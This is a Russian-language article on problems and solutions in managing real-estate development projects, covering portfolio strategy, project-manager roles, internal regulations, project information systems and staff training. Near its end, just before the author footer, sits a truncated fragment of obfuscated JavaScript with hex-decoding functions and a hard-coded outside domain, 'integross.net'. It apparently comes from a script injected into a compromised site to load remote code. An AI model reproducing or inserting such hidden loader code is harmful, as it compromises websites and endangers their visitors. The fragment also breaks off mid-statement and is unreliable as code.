Управление девелоперскими проектами. Проблемы и решения


До недавнего времени мы наблюдали бурный рост девелопмента. Инвестирование в строительство и реконструкцию объектов оформились в отдельную область деятельности со своими специфическими особенностями. Большие денежные потоки и хорошая прибыльность позволяли этому направлению успешно развиваться. Часто начатые проекты перепродавались девелоперскими компаниями на начальных стадиях реализации и поэтому не требовали грамотного управления.

 

Ситуация менялась, и когда проекты начали реализовываться в полном объеме, стала очевидной потребность в детальном управлении. В качестве основных управленческих технологий, вполне естественно, стали применятся и развиваться элементы теории управления проектами. Компании начали обучать своих сотрудников новым методам работы, внедрять специализированные информационные системы. Проектный менеджмент, как технология управления, прочно занял свои позиции в девелоперских компаниях, и агитировать за его применение сейчас уже не требуется.

 

Поэтому цель данной статьи состоит не в изложении основных положений теории управления проектами, с которыми читатели при желании могут ознакомиться в специальных публикациях, а в определении основных проблем, с которыми сталкиваются девелоперские компании, уже внедрившие отдельные элементы системы проектного менеджмента. Анализ проблем и путей их решения был проведен на основе аудита систем управления ряда наших заказчиков.

 

Экономический кризис остановил рост и выявил общие проблемы

 

Что произошло в последние годы — все прекрасно знают. Падение прибыльности, в некоторых случаях до нуля, для девелоперских компаний была серьезным ударом. Но именно в это время и нужно задуматься о том, как можно повысить эффективность управления бизнесом.

 

Какие же общие проблемы девелопмента обнажил кризис? Основными проблемами стали распыление ресурсов (управленческих и финансовых) на реализацию большого числа проектов и реализация проектов в непрофильных сегментах. При этом хорошая доходность бизнеса в целом успокаивала, и управленческие технологии, позволяющие выявлять и управлять возможными рисками, детальный инвестиционный анализ, ранжирование проектов в портфеле не применялись в полной мере.

 

Можно ли решить эти проблемы сейчас? Конечно. И, только решив эти проблемы, компании смогут выжить сегодня, и надеяться на рост в дальнейшем, когда кризисная ситуация в экономике закончится.

 

Каким способом нужно решать эти проблемы? Банальный ответ — с помощью применения технологий проектного менеджмента. Но ведь мы видим, что практически все крупные девелоперские компании имеют у себя не только отдельных специалистов, а целые подразделения по управлению проектами. Вот с этим и давайте разберемся – как развить имеющиеся в девелоперских компаниях управленческие технологии и сделать их более эффективными.

 

Основные особенности управления девелоперскими проектами

 

В целом главные особенности девелоперских проектов за последние десять лет выявились и являются общеизвестными. Поэтому перечислять их все не имеет смысла, но выделить некоторые ключевые, из-за которых возникают трудности в управлении проектами – нужно. Определение ключевых особенностей – первый шаг к нахождению путей решения проблем.

 

Одна из особенностей – высокая степень государственного регулирования и длительные сроки подготовительных работ и согласований (подбор земельного участка, выбор юридической схемы, сбор исходно-разрешительной документации, разработка и согласование градостроительной документации, экспертизы). В среднем, на подготовку исходно-разрешительной документации «под ключ» требуется от десяти месяцев до трех лет, в зависимости от сложности и объема проекта. Следовательно, важным моментом является управление сроками и точное определение основных вех проекта, прохождение которых нужно отслеживать.

 

Несмотря на то, что все участники процесса капитального строительства (инвестор, заказчик, генеральный подрядчик, проектировщик и субподрядчики) работают на достижение единой цели – передачи сооружаемого объекта в эксплуатацию, у девелоперской компании есть своя специфическая цель – добиться максимального увеличения нормативной стоимости проекта на этапе инвестирования и снижение реальной себестоимости на этапе реализации. Именно девелопер берет на себя большую часть рисков, связанных с реализацией проекта. Поэтому для девелоперских компаний важно управление портфелем проектов и управление рисками. Еще на самом начальном этапе, при формировании идеи и коммерческой концепции будущего проекта, необходимо верно оценить перспективы, определить риски, выделить требуемые ресурсы, провести обширную подготовительную работу по четким планам.

 

Высокая капиталоемкость требует повышенного внимания к управлению стоимостью. Технологическая сложность реализации, наличие большого количества контракторов приводят к повышению требований к организации проектных коммуникаций и управления документооборотом.

 

Типовые проблемы, выявляемые в системах управления девелоперскими проектами

 

У каждой компании есть свои особенности. Общим для всех является то, что развитие системы управления проектами (СУП) проходит определенные этапы – уровни зрелости. На каждом из уровней можно выделить общие типовые задачи развития. Не вдаваясь в описание конкретных моделей зрелости СУП, в целом можно сказать, что большинство девелоперских компаний находятся на начальном уровне развития системы управления проектами:

в компании существуют отдельные практики успешных проектов;

введена единая терминология управления проектами;

введен общий реестр реализуемых проектов;

проведено обучение отдельных сотрудников управлению проектами;

есть понимание общей полезности применения методов управления проектами на уровне высшего руководства.

Для такого уровня зрелости девелоперских компаний характерны общие типовые проблемы, которые можно классифицировать, и указать направления их решений. В рамках одной статьи трудно подробно описать все методы решений, но на некоторых, наиболее важных, мы остановимся более подробно.

 

  1. Отсутствие стратегии управления портфелем проектов

 

Фактически это означает, что портфель проектов не выделяется как объект управления на уровне стратегии бизнеса, определяемой высшем менеджментом компании.

 

Обычно проблемы управления портфелем заключаются в отсутствии определения:

целевой структуры портфеля;

критериев включения проектов в портфель;

правил принятия решений о «судьбе» проекта с учетом влияния на портфель;

элемента оргструктуры компании, отвечающей за управление портфелями проектов.

Пути решения данной проблемы заключаются в формализации процессов формирования и мониторинга портфеля. Это достигается путем создания соответствующей нормативно-регламентной базы и внедрения специализированного ИТ-решения. Обычно на уровне инвестора мы рекомендуем к внедрению систему «АСУ-Инвест», включающую в себя не только собственно систему управления инвестиционными проектами, но и методологию, адаптируемую под задачи заказчика. Для небольших компаний возможно использование более простых решений.

 

Также необходимо формировать проектный офис (при его отсутствии в компании), на который будут возложены функции администрирования проектов. Отдельным подразделением может быть отдел (управление) экспертизы проектов, сотрудники которого будут отвечать за инвестиционный анализ проектов, их отбор для портфеля и управление сформированным портфелем, включая регулярную отчетность для высшего менеджмента компании.

 

  1. Рост компании не обеспечивается текущими ресурсами

 

Рост числа проектов приводит к увеличению штатной численности сотрудников, но в рамках существующих оргструктур это не решает задачу эффективного управления проектами. Особенно явно это проявляется при реализации географически распределенных проектов.

 

Пути решения проблемы заключаются в формировании проектно-ориентированной оргструктуры в компании, частью которой является проектный офис. Его сотрудники будут участвовать в решении следующих задач:

формирование плана набора проектного персонала с требуемыми компетенциями, в соответствии со стратегией роста компании и набора проектов в портфеле;

формирование рабочих групп не только на отдельные проекты, но и на отдельные фазы реализации проектов, с более четкой формализацией бизнес-процессов;

пересмотр бизнес-процессов контрактации с учетом реализации проектов в регионах (если таковые имеются).

 

  1. Несовершенство «института» менеджеров (директоров) проектов

 

Этот пункт тесно связан с предыдущим. Часто у менеджера проекта (МП) отсутствуют реальные полномочия, ему не передается вся полнота ответственности за проект. В этом случае МП не принимает решения самостоятельно, а обсуждает их с вышестоящим руководством, например, директором по управлению проектами. То есть фактически исполняет роль администратора проекта. При росте числа проектов, и соответствующем росте количества МП, решения все равно продолжает принимать один директор, что приводит к существенным ограничениям – этот человек просто перестает справляться и контролировать ситуацию.

 

Поэтому основные проблемы с организацией работы сотрудников в роли МП обычно заключаются в следующем:

МП, по сути, выполняют функцию администраторов проектов;

отсутствуют четкие определения места МП в оргструктуре, функций, полномочий и ответственности;

высокая загрузка МП слабо сочетается с существующей системой мотивации, что приводит к отсутствию проявления разумной инициативы.

Решить это проблему можно за счет:

выделение роли «Куратор проекта» для решения общих организационных вопросов;

введения в оргструктуру роли «Администратора проекта» (ассистента МП), подчинение ее МП и дифференциации обязанностей;

определения улучшенной системы мотивации МП (об этом подробнее будет описано ниже);

наделение полномочиями МП, определение границ полномочий для принятия решений, и закрепление этого в разработанном Положении о менеджере (директоре) проекта.

  1. Существующая нормативно-регламентная база управления проектами не удовлетворяет потребностям компании

 

Проблемы в данной области характеризуются следующим:

нет единого понимания ключевых характеристик проекта, как объекта управления:

определение точек старта и окончания проекта;

классификации проектов;

вех принятия решений;

показателей, характеризующих ход реализации проекта;

недостаточная формализация основных процессов управления отдельными проектами и портфелем;

при росте компании и ротации кадров есть высокая вероятность потери управляемости;

хаотичные информационные потоки, например:

техзаказчик решает вопросы напрямую с руководством компании;

МП и техзаказчик не используют в своей работе информацию отдела экспертизы портфеля проектов;

информация для сводной отчетности разрознена и может быть неактуальной;

по итогам реализации проекта в целом и отдельных его фаз не предусмотрена процедура подведения итогов:

выявление и документирование «сильных» решений, передовых практик;

типовые проблемы и риски не выявляются, что приводит к отсутствию «обратной связи» в контуре управления рисками;

распределение функций подразделений часто не соответствует их организационному назначению, например:

ответственный за стратегию — занимается бюджетом;

ответственный за бюджетирование — попутно занимается внедрением ИТ-решения;

компоненты экономической модели эффективности рассчитываются разрознено в разных подразделениях.

Решение этих проблем связано с достаточно длительной, объемной и высококвалифицированной работой, связанной с улучшением существующей нормативно-регламентной базы (НРБ) управления проектами. Одной из рекомендаций может быть привлечение внешних консультантов для создания и модернизации НРБ, при отсутствии или явно недостаточной компетенции сотрудников проектного офиса.

 

Основные начальные меры по совершенствованию НРБ:

разработка классификации проектов;

определение типового жизненного цикла проекта и основных вех принятия решений;

разграничение уровней принятия решений, что особенно актуально именно для девелоперских компаний: портфель проектов – проект – фаза проекта;

введение и формализация бизнес-процессов проведения изменений в отдельных проектах и портфеле (что крайне важно при анализе портфеля);

разработка методического обеспечения и шаблонов основных проектных документов (при их отсутствии).

В перспективе, после реализации указанных мер, необходимо:

формализовать процесс мониторинга портфеля проектов;

формализовать следующие процессы управления проектами:

запуск проекта;

планирование фаз;

исполнение и контроль;

завершение;

определить целевые показатели эффективности процесса привлечения новых проектов в портфель и вести их расчет в информационной системе (для исключения возможных злоупотреблений на первоначальном этапе коммерческой проработки идеи строительства);

определить типовые организационно-ролевые структуры для разных типов проектов;

разработать процедуру корректировки НРБ по результатам реализации проектов и развития компании в будущем.

 

  1. Информационная система управления проектами не охватывает всех требуемых областей управления и контроля или вовсе отсутствует как «система»

 

На рассматриваемом нами уровне зрелости компании, информационная система управления проектами (ИСУП) обычно представляет собой инсталляцию каких-либо систем календарного планирования (например, Microsoft Project или Primavera), которые используются только для создания календарных планов. Причем часто это локальные рабочие места, без общей консолидации информационных потоков, не говоря уже о бизнес-анализе на основе вводимых данных. Часто приходится наблюдать «зоопарк» из информационных систем, хотя в сфере управления проектами их немного.

 

Общие проблемы с ИСУП обычно заключаются в:

большом количестве разрозненных данных (планы, таблицы, документы, сделанные в разных системах и хранящиеся в разных местах);

сложности формирования консолидированной отчетности;

отсутствии средств мониторинга реализации проектов для высшего руководства;

отсутствии электронного проектного документооборота, связанного с календарными планами, и информационных систем обеспечения проектных коммуникаций;

онлайновый доступ к информации и документам из регионов (при необходимости).

Путь решения этих проблем известен – внедрение единой информационной системы, которая позволит не только осуществлять календарное планирование, но и управлять портфелем проектов, поддерживать документооборот и проводить мониторинг и бизнес-анализ.

 

На что хотелось бы обратить внимание при постановке задачи для внедрения:

Нужно четко определить функциональные требования к ИСУП, которые не должны браться «с потолка» или «как у коллег», а быть обоснованы в разработанной НРБ – т.е. процесс формирования методологии первичен, а не наоборот, когда под внедренное ИТ-решение сотрудники проектного офиса пытаются подогнать рабочие документы. Конечно, процесс может быть итерационным, но лучше его проводить именно в указанном порядке (определили вид шаблона календарного плана – настроили MS Project, разработали методологию анализа – настроили модуль BI с отчетами и т.д.).

При внедрении ИСУП нужно предусмотреть реализацию функционала базы знаний, которую будут вести и пополнять сотрудники проектного офиса. Понятно, что это отдельный класс информационных систем и поэтому о них часто «забывают». Наш опыт показывает: внедрение такой базы – непременный атрибут более высокой ступени зрелости компании, оно реально повышает эффективность и прибыльность бизнеса. В качестве примера можно рекомендовать обратить внимание на систему «БРИЗ» (Банк Решений Инноваций Знаний).

Важным элементом развитой ИСУП должен быть модуль учета трудозатрат сотрудников по проектам и проектного бюджетирования. Это может быть отдельная система, но с обязательной интеграцией с существующими программами календарного планирования и документооборота.

Так как описание функциональности и особенностей внедрения подобного решения невозможно сделать в одной статье, но при этом вопрос очень важен, мы рассмотрим его чуть более подробно ниже.

 

  1. Проектный персонал не обладает достаточными компетенциями в управлении проектами

 

Обычно в крупных девелоперских компаниях проектный персонал (в частности, менеджеры проектов) проходит обучение управлению проектами, которое сегодня де-факто является отдельной управленческой дисциплиной (существуют профильные учебные центры, ведущие ВУЗы страны готовят выпускников по этой специализации).

 

Проектный персонал работает в жестких условиях высокой загрузки и большой ответственности, и сотрудники должны уметь успешно использовать разработанную НРБ и применять современные ИТ-системы.

 

Поэтому важен комплексный подход к обучению, который должен представлять собой не просто обучение сотрудников на каких-то отдельных курсах, а специально выстроенную систему – корпоративный университет. Успешный опыт применения такой формы развития персонала накоплен в нефтегазовой сфере.

 

Понятно, что не каждая компания может позволить себе иметь свой собственный учебный центр, в котором на постоянной основе будут работать высококвалифицированные преподаватели по управлению проектами. Поэтому, безусловно, можно и нужно использовать услуги внешних провайдеров обучения. При этом, если мы говорим о комплексном подходе, рекомендуется обращать внимание на следующие моменты:

выбранный учебный центр должен быть аккредитован ведущими международными стандартообразующими организациями в области управления проектами: Институтом управления проектами PMI или Международной ассоциацией управления проектами IPMA (в России представлена «СОВНЕТ») – это обеспечит использование в учебных программах лучших мировых практик проектного менеджмента;

преподаватели, являясь сертифицированными профессионалами по управлению проектами, должны быть и практикующими менеджерами проектов – это улучшит качество обучения и привнесет в него примеры из реального опыта работы в России;

комплексная программа подготовки должна включать:

предварительное тестирование обучаемых сотрудников;

адаптацию курсов и кейсов (учебных примеров) под задачи вашей компании;

собственно процесс обучения, который строится в соответствии с матрицами проектных ролей (учим не всех подряд всему, а каждого специалиста необходимым навыкам);

выходное тестирование с аналитическим отчетом для HR службы компании.

В этом случае указанная система образует замкнутый контур обучения и является практической заменой собственного корпоративного университета.

 

Одним из вариантов получения квалифицированного проектного персонала является практика аутсорсинга, которая успешно применяется в управлении проектами. И это не удивительно, ведь проект по определению — это временное мероприятие, имеющее начало и конец. Поэтому часто оказывается выгоднее брать квалифицированных специалистов на время реализации конкретного проекта по аутсорсинговой схеме, чем содержать их в постоянном штате.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "integross.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Рейтинг: 0

Автор публикации

0
не в сети 3 года

Chernyaev

Комментарии: 0Публикации: 3Регистрация: 25-02-2016

Оставьте комментарий